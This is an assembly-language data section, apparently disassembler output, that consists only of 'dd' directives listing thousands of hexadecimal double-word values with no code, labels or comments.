dd 48B164A1h, 86DC85D7h, 6E58808Eh, 71AC30F4h, 1FE0CD1Eh
dd 39686410h, 80BC6F3Ah, 0C9011F06h, 6D2E41D1h, 82496044h
dd 84C43898h, 3A52F56Ch, 962308h, 1113F92Bh, 2095E609h
dd 0A8619C68h, 1F85017Dh, 830EFD9Dh, 112C6079h, 0D76D6C13h
dd 3C761CE3h, 90E99034h, 0EADF0C81h, 4B86696h, 84402B7Eh
dd 3510D0E9h, 0E6CA00C5h, 8718D50h, 80EF1682h, 446844BDh
dd 1C9701B3h, 0EC318AE1h, 0C2C89C62h, 2497E182h, 0FCD01Dh
dd 94953968h, 23ACA6Dh, 442F62B0h, 11B01F6Fh, 0CB587B0h
dd 41AA3531h, 1C92643Ch, 6098D928h, 379A10C9h, 9B110D78h
dd 78297BFFh, 8193201Ch, 3E2E758Ch, 972390h, 0AC743A90h
dd 20DE8DEh, 516D190Bh, 0CC87686Dh, 5E05B147h, 70CC7308h
dd 2CDC9B54h, 0DF6F2000h, 6CE588CCh, 82AE00FBh, 0AC738FB1h
dd 62BEAE2h, 5823E4B2h, 9234D95Ah, 700C8744h, 700CEF11h
dd 4A80A795h, 466E6C82h, 0FCA50874h, 3142ABAFh, 3F0AE7Eh
dd 0A8C5E480h, 0B8EF0299h, 0D1214FB1h, 32087FACh, 44970B48h
dd 2C6C2A41h, 51A0CC0Dh, 197DE9F3h, 0A2E36988h, 1981542h
dd 2C7804A3h, 14390620h, 388196A5h, 4E287906h, 809D9DF0h
dd 0CB809111h, 3A8ECCD1h, 3C960F00h, 2C073E3Dh, 0C09B4A30h
dd 0C8F111BCh, 2F340480h, 4880F30Ah, 0FB1E48BFh, 88CC4F4Fh
dd 43032C73h, 0D3E612ECh, 1EA04E48h, 82006A50h, 81EC182Bh
dd 16B0D1Ah, 0C8DA1D54h, 3F8E800Ah, 95237C2Fh, 0BB22AB00h
dd 16DA126h, 9E8CA076h, 2291EC53h, 0BAB510F4h, 0C8B86915h
dd 86327601h, 607018DDh, 74000777h, 2373610Dh, 9072064Fh
dd 0F08E4530h, 0B8009197h, 90B3EA7Ch, 1A6BE44h, 0AD9F943Ch
dd 0E0F15D60h, 111C5B0Dh, 0A4BC261h, 74F0826Bh, 972C4040h
dd 0C5754F14h, 0DBB08264h, 0D6713871h, 0E0279B18h, 76B0C69Ah
dd 59A5FC3Fh, 1C50D476h, 38740B1h, 0D93A4713h, 97F2DCA2h
dd 2EBFAF30h, 83442E5h, 3801B88Dh, 0BA4E8206h, 59F2AC73h
dd 0BC59903Fh, 0ABB90032h, 510C27Fh, 1606E154h, 0D59D0121h
dd 24B08098h, 1750BE49h, 1E9C026Dh, 70E1D1C3h, 5807DE79h
dd 0ECE15970h, 1F0718DCh, 84F878D6h, 4F019E80h, 0CEECC0ADh
dd 0D92A2C3Bh, 7F1DB89Fh, 0BF019637h, 0D14B2110h, 7EEB2084h
dd 0ED533219h, 2E7DE0FCh, 0E500187Fh, 86961A6Bh, 0BE1039DBh
dd 58C61014h, 4D2F02F8h, 409592AEh, 0FB8BF6CCh, 62FF0860h
dd 41825185h, 0BE2CD064h, 8448F031h, 90991404h, 0B2E16404h
dd 30C8F24Ch, 4D0B1097h, 0E8595293h, 652AA4h, 25FED8BAh
dd 6D243836h, 0F8408CB5h, 85F82E3Ch, 0A34D41C4h, 9B3D0141h
dd 20014197h, 0FF9D1B84h, 1C01CCE6h, 0D14F10FDh, 87ED4C39h
dd 6C81B98Bh, 5388B001h, 587AD3C4h, 0F00B3BF1h, 11EC9D5Bh
dd 66278095h, 1DE5B65h, 63CE7731h, 3AB45472h, 0C9A4402h
dd 49747E80h, 18B93C07h, 0F1347209h, 0CB8E0BDCh, 3E50FC30h
dd 7A210F10h, 3E5853E0h, 3442405h, 0F845F980h, 148A9234h
dd 94E8BC58h, 3012028Ch, 3C5968F4h, 0B944E8E0h, 74908E4Bh
dd 9C26B793h, 0D546749Ch, 41F8891Dh, 1E96070Bh, 0BEE0F84Eh
dd 0C0BD1925h, 543C0628h, 578FCCCh, 9933FCC7h, 8158C826h
dd 0BC85B14Bh, 0E922BC8Fh, 0CD7808B3h, 7CAA0021h, 68746289h
dd 0CB5AFC85h, 0FA0A10C3h, 9145802h, 987EFE7Fh, 0EE8B8A0h
dd 5D146425h, 0EC40DEE5h, 9D008C96h, 0A03D630Eh, 77447B95h
dd 71CC020Dh, 31AB9757h, 31A70F9h, 74387E68h, 2F179646h
dd 0A81B01E1h, 0D4A690DAh, 0B05DF034h, 79241228h, 489CC453h
dd 6B048C58h, 8537D3CBh, 6C494F2h, 44FC8064h, 1678EF58h
dd 10C75000h, 72C342BEh, 11A00991h, 0E4529FE9h, 0D6901B0Eh
dd 20F7ACC0h, 2D311320h, 816895C8h, 63425224h, 0BA3CE134h
dd 0BA3C841Fh, 80DB3B2Eh, 0E6963DEFh, 0B0759A4Ah, 5CE548B4h
dd 861AF780h, 1209E8CEh
dd 62893921h, 443CDEE4h, 763244D8h, 0A59B7C81h, 0FC2F3E19h
dd 841DCA23h, 0F74F9E00h, 2D7F1E78h, 9864C6FBh, 747DCD20h
dd 3BBF5FE5h, 7982348h, 9055257Eh, 0C3579348h, 47809095h
dd 8D110642h, 18BF4382h, 11B81DB5h, 0C66487A2h, 0E8583391h
dd 11201982h, 0E854A769h, 0EF08F100h, 0EA4072h, 9FD670AEh
dd 2C384203h, 18A48926h, 22B26842h, 0FC948584h, 38BC9841h
dd 6987EC98h, 0A340FD09h, 0B64C0104h, 0AC6283Eh, 170570DBh
dd 0A2904093h, 0C2202829h, 23121A7h, 0EC1C432Ah, 0EBB0BE75h
dd 230371A7h, 10E4A03h, 0FF210385h, 41C55C20h, 0ABB00BC8h
dd 83E08C90h, 0E2ED21C3h, 41F6E8E0h, 6BC20C45h, 0D8055ACh
dd 2868A040h, 28A097B4h, 242C18BDh, 412C077Fh, 20D81EE6h
dd 8D25F2C8h, 0B5F80226h, 17840AB3h, 62053EAh, 599E25C1h
dd 1699FA20h, 0E2094437h, 0A5D09C4h, 0BD2CA224h, 684E0382h
dd 707E31B6h, 17B47E00h, 0C1D4B7BBh, 79710543h, 0D0CF1438h
dd 4B806E94h, 308A242Fh, 0BB088h, 311E3397h, 0E8449487h
dd 2BADC400h, 0D7B9DDA1h, 713F052Eh, 0C1B4E76Dh, 3B7BD24h
dd 8B44D2D1h, 2194A230h, 7A0B02A9h, 0EA0AE0C0h, 7DBBF40h
dd 3EF8EE3Ch, 8009C3C5h, 443B1909h, 632020B0h, 228CF66h
dd 34731241h, 14F49624h, 0B08A7F58h, 0ECA94954h, 0A1817537h
dd 7812FD05h, 14860910h, 471CE195h, 2F3049F9h, 446E0A65h
dd 42B09A19h, 0E4FCCE8Dh, 3A51EF80h, 4EFCC809h, 0FD58C3C7h
dd 9D9B5C00h, 0E82CEFD3h, 20229D96h, 405AB6CFh, 404E3C7Eh
dd 88063C16h, 0A186398h, 8179D944h, 0E94D4048h, 7207548h
dd 877EEA57h, 95D9D031h, 5423F0Ah, 22AF224h, 2A032068h
dd 12881315h, 828A6E3Bh, 54A457B0h, 1710ECC0h, 0A845674Ch
dd 0BCC88BD2h, 9E02123Ah, 1508A48Ch, 49AC7827h, 0F85391B0h
dd 96215F8Eh, 39140870h, 0DE345C2Ch, 0A8F1C496h, 0D37EF460h
dd 168A371h, 0F722D8BCh, 0AD01531Ch, 50620ECEh, 8408C7Fh
dd 57000273h, 0EC8AD677h, 6D111EB2h, 19C169D0h, 118C1850h
dd 8483805Bh, 0A910D5Bh, 19A9E719h, 0A540750Ch, 47849AD0h
dd 608C44FCh, 605835C6h, 2A93A1A0h, 7700FFB1h, 8CE89EBBh
dd 907B327Fh, 0B5FD3080h, 14800190h, 0CCDB5E5Ah, 0FEAE8F80h
dd 0D8004E34h, 0B25A5674h, 8AB90AE4h, 0AC54D460h, 7739740h
dd 0DE586B0Dh, 99A4C26Ah, 4C7C4CC6h, 0BC119F60h, 2E721B8h
dd 0BFF631B6h, 0CC078ABh, 7F8887DCh, 41A760FDh, 85F12C37h
dd 240828B1h, 0CBF1393h, 0D1899C0Ch, 511CAF13h, 1542C80h
dd 867E182Ch, 0CFFC5126h, 204CBF88h, 0E53C9C3Dh, 2CC961DFh
dd 1E058038h, 0F44C0631h, 0CE1411A1h, 99BC3F82h, 0DB107F78h
dd 4E01E339h, 8392AD82h, 0DC7D3DDDh, 120B9913h, 35970B60h
dd 0BC2CAC90h, 16DC809Fh, 4CBE72F3h, 58EB015h, 9822A829h
dd 7C5E9F57h, 2908FC24h, 9A1689A4h, 97409854h, 4421F05h
dd 0DD2BC9Dh, 14AC1Eh, 0EF0A6E72h, 0C0513FFEh, 41BB9591h
dd 526A1E82h, 443E0830h, 0FC3F09D4h, 94C0AB27h, 649528FFh
dd 0BA052000h, 0B0C50E9h, 3E00CEC7h, 7DD418E1h, 0A07C3FF7h
dd 80AA88A4h, 20E16878h, 53E0AB7h, 89B7A544h, 716871C0h
dd 27318B0h, 67B1D3E7h, 0E45E5E8Fh, 0AB0F00DCh, 8B151F54h
dd 0BC13BB1Ah, 0C4923E82h, 29B0420h, 92C46DDDh, 0B05E41E4h
dd 0E40A4478h, 419CA920h, 2B1EBDE1h, 2C04E020h, 30B981ADh
dd 6D80A878h, 9CBB5438h, 0D7950328h, 6A94F8CCh, 339C7680h
dd 1400DD77h, 44013808h, 33F81BAh, 0B4D2E6FFh, 6A83E199h
dd 16C456D0h, 30C1855Fh, 7518A4E8h, 7897FF4Bh, 8AD54181h
dd 30689442h, 5513D707h, 74CBFD08h, 0D70F1E73h, 9A3F009Dh
dd 21BE7A37h, 0D4C498B7h, 884495A1h, 71C40337h, 1F7C33D0h
dd 904795B0h, 4278ACC7h, 3B1183C1h, 0E120D00Bh, 0B9183C9Ah
dd 86ED1C10h, 0C32A7F1Ch, 668CE1Eh, 0AF64C140h, 0B0B5BB1Ch
dd 9FC01172h, 0F9498004h, 0ED7E74E1h, 607AD700h, 687BF7A1h
dd 7CF214E2h, 81000C6Dh, 0E0697E10h, 0A21074F1h, 0ED0EE1A1h
dd 7BE76DFh, 0C76981F4h, 0C068C7F1h, 0DC7C78F5h, 775A03Eh
dd 5F7DE3EBh, 7B8780FEh, 680F5A1h, 85A0E97Ah, 731D2866h
dd 837DE55Fh, 72DEE877h, 0DD9BAEh, 0B99EEE40h, 7BDFE95Ah
dd 0E7A16300h, 0BAA3797Ah, 1F84719Ch, 28AEB9A0h, 89983104h
dd 0F086F180h, 680114BEh, 0BA01A642h, 7986E35Fh, 71B9F1E8h
dd 0EA6E757Ch, 7EE19818h, 7D08A8F8h, 0E2F13E65h, 0E4EF6D05h
dd 80381BC0h, 0DC588800h, 0E26586F2h, 0A0B480DEh, 87187BE4h
dd 0E1E856BBh, 0C345307Eh, 0A3A1B138h, 1407560h, 0DE6982h
dd 0CD595AD9h, 9CAECCA0h, 819FE400h, 6B7AF2D1h, 0E1FE67C8h
dd 0DDA943ABh, 0EF5E781Dh, 0CC3F7643h, 6A22CC14h, 0E8D05407h
dd 424060F4h, 920380A1h, 3EFDED65h, 1C475A64h, 60DF10CDh
dd 8ECB423Eh, 0A5848802h, 82989B18h, 264CC840h, 9C8BB5h
dd 28243D74h, 66692EC6h, 730E81C4h, 0AC236754h, 0AA080818h
dd 0BC422DA7h, 0AF19C161h, 21C8EB40h, 0EF02D948h, 4B3F032Ch
dd 9494DFA0h, 2D9818A4h, 0C923D0h, 892C45ACh, 0DC608DE4h
dd 8860A127h, 28232257h, 10D84695h, 6226B5C1h, 2BD10258h
dd 0B81644CBh, 40E41993h, 0EF7CA044h, 0ACE4250Ch, 19A6AC25h
dd 95F5868h, 6061E062h, 243EABh, 0C0C0390Bh, 74547259h
dd 94A72991h, 0B3E14810h, 0B8881A23h, 8D26A070h, 16D0AE42h
dd 61A4AD42h, 1B2840Ch, 5C353757h, 4461DC20h, 152DBD98h
dd 33C00B19h, 9108C4BCh, 0D8540684h, 1A18D4F0h, 18CD79CCh
dd 3B4270FEh, 0CD0F124h, 0C128B4D0h, 0B30BE5FAh, 72645408h
dd 0CD3115FCh, 5925409Dh, 0BB142490h, 42D6F883h, 20C20A06h
dd 0BCACB009h, 1244C2Ah, 9639D1CBh, 57B6FD05h, 592C8298h
dd 3F808CDEh, 88B1F15h, 0B0575444h, 4011501Eh, 71812FFEh
dd 6804188Ah, 2252C444h, 51DC2AB8h, 4CFC62FCh, 0A8ED1160h
dd 0AA44821Eh, 1C6395BCh, 0CB044150h, 0B81891D9h, 4386530Ch
dd 91C321C0h, 0BD1C50B0h, 48E4498Ch, 41CF9582h, 0A55818F4h
dd 404E647Fh, 0A8CB615Bh, 0C48256Ah, 7FE93C9Ch, 0CC108D62h
dd 0CD1E0184h, 0BC5878E1h, 5F018CCAh, 0E947804Eh, 42E94059h
dd 84F8406Ch, 84E1C447h, 68890BC4h, 9B00005Ah, 1FDECBFFh
dd 0F4490D90h, 0D4057923h, 132FF490h, 0E4D40899h, 0E64B056Ch
dd 4917088Bh, 8B6500CCh, 1E576FC4h, 0C5F1538h, 0F81F2F9Ch
dd 90A18445h, 13480897h, 90089AE1h, 676B07C4h, 57E05309h
dd 73C8C087h, 9DD50934h, 8C5CF1Dh, 0E76097E4h, 85033AF0h
dd 7350AA63h, 49C5BAF7h, 7468AD74h, 801C9B5Ah, 0CCD6EA1Bh
dd 170E2FD1h, 0A345A8EEh, 82CF68F9h, 87C05885h, 619A44B0h
dd 63C0F923h, 7B8D04A5h, 0A2EFBEABh, 0C0E8F794h, 40B40CACh
dd 2ADB9800h, 4C04D41Dh, 48AF4BF8h, 56C0D174h, 4E21093Eh
dd 0C0CB4Ah, 0BE3E5E59h, 0E47311h, 0D3F66403h, 8A0E9B10h
dd 0BDCA79C3h, 931781Ch, 0B5CD0854h, 980A3C00h, 3F70D574h
dd 26CCE802h, 0D6726A92h, 18C097B0h, 528C3985h, 0E68D1F00h
dd 3FBAA418h, 4D80074h, 0FC893368h, 0D7F4DB55h, 0B2FF1D25h
dd 111C9D78h, 64C09F8Bh, 82DF448Dh, 28A89539h, 35403AE4h
dd 2C0126EAh, 1078DA1Ah, 54FA06ACh, 0A5465ED4h, 8DDCF902h
dd 0F074C166h, 0AD465Eh
dd 0BA211499h, 4507ECh, 379A32A9h, 1150E751h, 59278603h
dd 0E0A74879h, 5AE54B2Fh, 0B880D41Ah, 31D6E9A0h, 7853C088h
dd 3037681Fh, 9606047Ah, 9881CA16h, 0BDD039DBh, 418309A6h
dd 0C85E15BEh, 51E0F689h, 18C77914h, 59CE0257h, 73C89F1Bh
dd 0DAC72040h, 6A350109h, 0DFF06088h, 126CA336h, 7AE70A90h
dd 5B137794h, 0F4B08BE5h, 0E8201C4h, 0A4D60363h, 0C5383CA9h
dd 28043BDh, 0F805E16Eh, 4119C330h, 0F9003616h, 0D9B1D28Ch
dd 248701CBh, 4E86894h, 0AEE0B8F9h, 0CA23F82Fh, 0B4A2B107h
dd 0DF21E210h, 91067DF9h, 18A4D1E0h, 358B02E1h, 0BCFD9FBAh
dd 0A71034C0h, 9C887988h, 18C7E464h, 6B805170h, 5C05E07Dh
dd 54CEC7Bh, 32042C3Bh, 0A4EDCD0h, 0E4A89C72h, 20520A97h
dd 8C24A370h, 16469C90h, 6B8BD33Ch, 5CD9EE05h, 0E1CB4862h
dd 7C637388h, 51CFC100h, 0E3ADFE9h, 1F075509h, 0E4CCE5CEh
dd 0DBD4608Bh, 5B631883h, 69CC48D3h, 349C2095h, 1FD2EB1Eh
dd 2E326479h, 50F243A8h, 0D56C21B0h, 1CBFB900h, 3C82541Bh
dd 8CA7BF97h, 858301CFh, 9C383465h, 0CE8888h, 0E8BC1F0h
dd 9793C7F5h, 2E52EF00h, 6FE6E501h, 30285B25h, 953A5A60h
dd 0ECC8845Ah, 0C80F1C0Bh, 788700B2h, 0F7587D3Bh, 7556C500h
dd 8BD3D560h, 3F9F0B09h, 68854301h, 0C2948368h, 0D3A411Ch
dd 6AE44240h, 73F95DCh, 0F657D0DEh, 5340DFA4h, 58A705EFh
dd 5260A0BFh, 605EB9h, 12342CF7h, 9A998782h, 81AD6F05h
dd 0B4036B4Bh, 806E9FC5h, 1B0FD90h, 469BD57h, 3E790A51h
dd 40410822h, 3B28B90Ah, 28020D7h, 66E8481h, 2F017390h
dd 4F78EE51h, 82057FEh, 23092779h, 0F614B0C1h, 371F30D8h
dd 2CC2E1D8h, 97F6E8E2h, 0E6030604h, 420110EAh, 0FDC759C2h
dd 21BCF5E0h, 0E3C3AA0Bh, 87E9AD00h, 0DFF82734h, 0F52083E3h
dd 0F69E8A55h, 80CB7848h, 34328841h, 1FEF2823h, 350D3BEh
dd 0DF9D8A56h, 7A213CEDh, 1B2AFB80h, 0F60F6124h, 0DC181C63h
dd 4391820h, 0AF6141F8h, 18C13CFAh, 2B0756ABh, 6EE33886h
dd 60051DDh, 9445B9CCh, 88B173h, 8F306855h, 0E9FC637Ah
dd 0F1726CE4h, 0C608ACA4h, 8EEA96F8h, 2A180C1h, 0F4A6FEA1h
dd 3C184B42h, 9121DF5Dh, 0D2F309CEh, 0D70392ECh, 183AF705h
dd 0FC970F78h, 0CBB60040h, 241E52h, 0E0F54632h, 0A8CDF6FDh
dd 0C354A01Ch, 0FA4D34C0h, 30916786h, 0F40885EAh, 0C5003BF1h
dd 42DEC73Dh, 575E3C36h, 66074C40h, 0C2CEE8E0h, 0E0914CDDh
dd 0FBC2112Ah, 0AB3A4886h, 7140F0BDh, 0CD2B41AEh, 0A1AC5029h
dd 0A7487C5Bh, 0E6E00A0h, 8145B722h, 0F648C015h, 11445B64h
dd 0E0A4E9E4h, 0C778C171h, 2B318DE8h, 78A318F2h, 219E06E5h
dd 0DFF8050Dh, 3FB041FBh, 473BE3A6h, 48E78688h, 0F7923A00h
dd 0DCA9FE27h, 70E16148h, 0D037608Bh, 18445E3Dh, 541400B1h
dd 2A265F16h, 0DD30E791h, 6640C138h, 69F40001h, 6044AA0Eh
dd 44E94186h, 8258009Ch, 6BF163FCh, 0FA90E154h, 0D9107A64h
dd 2E685440h, 0F40F51C2h, 0A7FE7366h, 0C17CDFA1h, 21AB011Ch
dd 0CAA707E9h, 934201F5h, 0C579BC51h, 0CA90EE8h, 38C770A2h
dd 73F0A479h, 74F9AF00h, 0C0929468h, 57674CD4h, 42277804h
dd 0E12C823Dh, 8D32C120h, 33920037h, 2EC7958Bh, 990C4BD1h
dd 0D1F003F4h, 331A0086h, 3AF79EC1h, 0FA0CE541h, 21DFA806h
dd 36433128h, 4F70E58h, 1618885Eh, 338711h, 1E116485h
dd 9D6CE327h, 71D42B52h, 0E1A820F5h, 8F6051D5h, 21A2EC86h
dd 406C1E65h, 89ED85EAh, 690C016Eh, 82C8DD31h, 0FC5B9F41h
dd 0C1304093h, 0DCD300B5h, 76E5E33Dh, 650A80C0h, 14FEA21Fh
dd 6C68CFC0h, 0A630A03Ch, 0DEA084BDh, 0DDF88A31h, 68E0A430h
dd 0FD66FAh, 414EA055h, 0B0E4917Bh, 1B61231Eh, 9324DC89h
dd 8018B340h, 42EA87Bh, 6AF214ABh, 0F10488E5h, 28409F29h
dd 20DBA97Bh, 82CF8E0Eh, 804B1A2Eh, 0DFE5E12Ch, 0FA349202h
dd 46040CCFh, 28612172h, 31D7A00h, 32A7B9DAh, 1C294823h
dd 20F70C84h, 0B09738F0h, 0A0E871EBh, 842D2A98h, 52F5DBEAh
dd 0CA152A4h, 118A3E11h, 35082C7Ah, 58DB2F40h, 0C9A13023h
dd 88118071h, 84E13CC4h, 372D0092h, 66C7346Ah, 2550216Ch
dd 0B80CB52Ch, 0F067241Ah, 90E049A3h, 60430078h, 7CF526A0h
dd 0E49AE9BEh, 0C8B45F0Dh, 424B0C2h, 5C888846h, 0BBD32B0Ch
dd 2455B994h, 80C89D02h, 0F63C03Bh, 30E306A0h, 0F4035BACh
dd 0CCECA4FAh, 0C1EAB9A2h, 30CC7861h, 3C1D4824h, 389D6B3Eh
dd 0EB4E8260h, 4486567Bh, 400C513Ch, 312880C2h, 30BCF469h
dd 7D80367Ch, 264C2BB6h, 74F87D6Ch, 0A6F7B9C1h, 1883205Fh
dd 260D6B9Ch, 83C33000h, 0F2580B8h, 909B14E2h, 0C1869433h
dd 0D31E3031h, 0FF0D7CF8h, 0B4421043h, 0C27D24F9h, 0C702EEA4h
dd 37CC9248h, 49DD0504h, 6B18D1DBh, 0CE4A00ECh, 0DF94A0BEh
dd 0D4D20228h, 29F35DF5h, 7E038080h, 2C0CF92Fh, 29BCF749h
dd 8F22848Ch, 30722026h, 0E1D97D00h, 951EBA7Ch, 5BFF011Fh
dd 9F3DFE54h, 0D87DC814h, 9C79DE00h, 0B72E16EBh, 0EED91EABh
dd 0AD0A00F7h, 53CC2A38h, 1BC28100h, 9BC59D20h, 0BBA5035Dh
dd 379AFEEAh, 687FD180h, 6F023C01h, 8B0FE18Eh, 0F362E0h
dd 8D776EAEh, 98F1224Fh, 0EAFA3800h, 23E4B517h, 7AF097h
dd 0D4275749h, 0D1891350h, 60DEA926h, 6797C280h, 0AEF266h
dd 0A6CEA080h, 1F3EFD06h, 412A5F00h, 0FCE3423Dh, 9546009Bh
dd 0F2316270h, 0DD026C71h, 65F463D1h, 0D221608Dh, 59C761CFh
dd 106896B4h, 35A30CAh, 0F19EDABBh, 53808518h, 4B00EC8Ah
dd 2FD732ABh, 0C566FCh, 36AC0E43h, 834185A0h, 4E405800h
dd 0F80524CFh, 0A7F280h, 1A51E497h, 7061190Ah, 0CD7F58F6h
dd 0AACE8A00h, 4FE1C43Fh, 33FC0EBFh, 0A209119h, 7D627735h
dd 2EF27600h, 0EF85C393h, 3ABFE01h, 0B78B7A37h, 9BE8D654h
dd 0E43E0B99h, 9F6400C4h, 0C390621Ah, 5D12414h, 0EDB1DC3h
dd 6BC2BED4h, 3CE04FEAh, 0BB01DE81h, 0F58AEBABh, 68803A0Bh
dd 0CE68E1E2h, 841CA44Bh, 80FD6B76h, 28CBE79Eh, 5C8E17D6h
dd 630096E8h, 6E91DF67h, 94006D9Ah, 8A372A32h, 602DE7CAh
dd 0A1C1153h, 8302DB5Bh, 983E1BC5h, 0E49FC06Dh, 27860096h
dd 0A7700579h, 2258A133h, 0DB785035h, 3700EE7Ch, 0E5A37D1Fh
dd 330FEE1h, 5114B727h, 0DDD09203h, 3A009F10h, 7C44D201h
dd 0ADC2A8h, 0DC56CDC6h, 12F45811h, 4E2C9501h, 0ADBB97Bh
dd 5A7D1C84h, 22CA006h, 0E8CE7600h, 0A318B337h, 0D7EF0081h
dd 9932C062h, 7400F323h, 0B819E5CBh, 502BEB11h, 396AD928h
dd 0AC008E68h, 0EF274FB5h, 17EE97F6h, 849DEA24h, 6A673F00h
dd 90F3DC44h, 59BB00ECh, 176C7351h, 0EE1EEF64h, 82BD5AABh
dd 0BA2378CDh, 5F3C4065h, 379B00A4h, 0F46BECFAh, 1818D2F1h
dd 71285898h, 2166407Ch, 379CE500h, 28B52DBAh, 0B4D9002Ch
dd 0B8CDFD3Fh, 20008949h, 952F9B73h, 73578AEh, 3CA011C7h
dd 79C252F3h, 4FE6CB00h, 0F96F0174h, 0FF7727C8h, 8047D046h
dd 3E658C00h, 16F8D8DBh, 0F53704BEh, 0C04B3D48h, 5F04EA04h
dd 13A57000h, 47FCA478h, 1F34F85Ah, 6E35D73Dh, 286580D4h
dd 0DCA26C42h, 0D8B81D0Eh, 17F7A09Dh, 339961h, 7F55155Dh
dd 849CAFB9h, 5E8FA100h, 1C4DE3C6h, 0E240007h, 0C36142DDh
dd 0F0A2AC98h, 5801D940h
dd 0A1EA6709h, 66282063h, 0EC69143h, 0FC9DB86Fh, 0C3266120h
dd 9BE6F418h, 0CC710118h, 270859h, 0A73223B5h, 0B3F964C6h
dd 0D4CDBB01h, 0FBFE611Ah, 0E28FF770h, 9D9F459h, 0CC17F61Ch
dd 4E22CC01h, 112EB368h, 80E9C76Ch, 923B4B10h, 804400DCh
dd 0A1736B99h, 0A80020A2h, 1178E28Bh, 0EFB39254h, 147CFCCh
dd 0CB44F7E7h, 0F8121501h, 0B800D663h, 0DBEBCD30h, 704F6AFDh
dd 151A48DAh, 0C3DD731Fh, 0DC1858B9h, 1DEF52E0h, 15258800h
dd 4F4B690Ah, 0F2F90075h, 118E24E3h, 0B71FCDDCh, 0C940F065h
dd 264B612Eh, 0DBA900EDh, 0BBBFF6DAh, 0D0F47298h, 0BD3A9E7Dh
dd 706814Ah, 24E4EC5Eh, 39B43EC8h, 198967F6h, 6C804A5Ch
dd 0FA2C76B2h, 0F377DF00h, 9C7C4FD8h, 906100C2h, 0CE49CCEFh
dd 9A02601Bh, 1E2E0F7Ah, 67C301h, 0B5F506A0h, 280A4E95h
dd 0FA60E3A0h, 7F3C4958h, 0CEB67800h, 638D0F81h, 0EE3500F0h
dd 0D8EA3C48h, 0D53A59F5h, 0BA530091h, 36105BC8h, 826603E8h
dd 52E37428h, 9578211Ch, 4D1D1280h, 59D83C7Ch, 0FA00B0F7h
dd 5EA9BA15h, 0D901BC93h, 4463B9C5h, 51DCAAB6h, 0CCC40F60h
dd 0D752E878h, 66AB3054h, 0E4004390h, 0DABD86E3h, 305EF26h
dd 0B969B867h, 200E5224h, 22E6DC3Eh, 409F2042h, 4361A38h
dd 295A7062h, 64CD1FCh, 208FF123h, 0C8008CF8h, 251FA471h
dd 0FABE3F3Bh, 4CD8009Bh, 0FD100CDDh, 784A2EC5h, 6263A80Eh
dd 603AEC45h, 9F5B78Ch, 0B475BC5Fh, 50367807h, 1EEB38E9h
dd 0FBFFB501h, 0BE45DA1Fh, 177817F8h, 352B872h, 1393790Fh
dd 4D9F20BFh, 0A8006028h, 0F1257626h, 714FAE24h, 0B25214E0h
dd 0B400E0D2h, 0E104C086h, 3C0473B8h, 63AD9B0Dh, 0CCC785C1h
dd 0CD4830h, 96BD0515h, 0BBF9D71Ah, 0E37A7865h, 0E006BC82h
dd 153161h, 7B45EA10h, 86091AF0h, 0BE124101h, 84A9EF44h
dd 11E87E8h, 0CEF4F908h, 507BC669h, 0BE7C81C4h, 48005879h
dd 0A048B61h, 43CC21h, 7918FDBDh, 8E4BA189h, 71E85403h
dd 88A2646Eh, 396031FFh, 20003FE2h, 0F4AF8527h, 0AA265A99h
dd 0B40424C5h, 4500D643h, 24C90E8Fh, 2B8B14Dh, 0B426F8B9h
dd 1207237h, 0DEC6D9D1h, 61F318B8h, 0FADBD86Eh, 9D879400h
dd 353F592Ah, 2D1E00E1h, 3019D432h, 2138CB0Ah, 47C50028h
dd 51BB1A12h, 0B92C0018h, 0A3618643h, 780981EAh, 8779EF9Ch
dd 0FAE0DC1Ch, 77750868h, 160926Ah, 0A501E05Fh, 31CA4CE4h
dd 0D0C4D1AAh, 7C9C67BEh, 0C6A92830h, 377F03ECh, 2F7D94FEh
dd 9CDD60A0h, 27F02490h, 0CE00B1F8h, 0EF2E3180h, 0DA5F70h
dd 0EE0F9495h, 0E88252C5h, 2136CA00h, 0DE0A3580h, 503D5C67h
dd 78AB4C50h, 59931FC7h, 8A803CF1h, 2A525181h, 73008FA7h
dd 0A1BFDCFFh, 7ED5EC7h, 6A3A2792h, 3D6943DAh, 80E851C1h
dd 7CAAE1D1h, 3AC23831h, 0C085C801h, 8DE26D5h, 0DC10A978h
dd 4D0D0078h, 0EC9CA8CBh, 0F4F0C3DDh, 6C3DF600h, 91B345CFh
dd 152D00DFh, 29FEA227h, 0C1FFC19Dh, 26C2F0E1h, 0E415B094h
dd 528400A8h, 0C9241B85h, 7FA25CEAh, 0FE906000h, 13DDED86h
dd 83600E63h, 4229CEF2h, 0FD5111E6h, 0A6140721h, 0A3121028h
dd 0C2A7E500h, 9D5D21EDh, 1E593700h, 0E098765Ch, 0DCB40E19h
dd 3A00D594h, 22051C30h, 47BF1000h, 869CCE64h, 5C8D01A3h
dd 1842E0D1h, 0C64EF42Dh, 0D8055C90h, 75B36BE7h, 0CBCF18D0h
dd 24449851h, 8B60A215h, 18A2926Bh, 0FA00EE17h, 2C50B747h
dd 1BCC390h, 4E97E5Bh, 0CD3670D2h, 1396B11Eh, 0A3BE8900h
dd 39CABD5Fh, 8B00776Dh, 7146B82Dh, 720175CFh, 0FDD2031Ch
dd 0EBE4C9A2h, 7E940026h, 485E189Bh, 89001CB6h, 0D495DF11h
dd 243954h, 0DA3B6573h, 0EB27EC77h, 9F7F6600h, 0ACB4353h
dd 75E2000Fh, 0B98F71BCh, 903C0C6Ch, 7C1F8AECh, 0E313D8DDh
dd 0BA6B0904h, 7CDE78C8h, 88354C3Bh, 6AB95A80h, 804C349Eh
dd 0A03D8E18h, 3901F796h, 0C13B00D4h, 389414F9h, 809A1E93h
dd 0F53EA7E4h, 0B1E88065h, 1F983DAFh, 0DEE20A70h, 0F985FFFh
dd 0D3E05C43h, 52E67BE3h, 0D7CE2B00h, 0C5B67C28h, 0DDE500F9h
dd 0F5F33508h, 1E005C21h, 0D86947BBh, 0B857C252h, 66C50174h
dd 8C760A1Ch, 61CC4392h, 0D859E8F9h, 4401D356h, 1CC786A1h
dd 0F7DC0325h, 0E258006Fh, 43C9461Eh, 0B024FAF5h, 0B13C6428h
dd 4E40B164h, 0EB002428h, 11974E4h, 1612BC1Eh, 436F92h
dd 0A04E2C94h, 16FBCFEBh, 0CA53819h, 54213F5Dh, 0A4E21100h
dd 766E5740h, 0BF40006h, 0C7A309A5h, 0AD075238h, 5BB59C72h
dd 5865C383h, 0A200A870h, 0A866E145h, 5E0262CFh, 42AB6982h
dd 0B06C6089h, 0A0A5E633h, 1704FCA0h, 16780F5h, 0BEBF359h
dd 0E92930CBh, 3F00287Bh, 225B985h, 137C49C3h, 0BD5EFAh
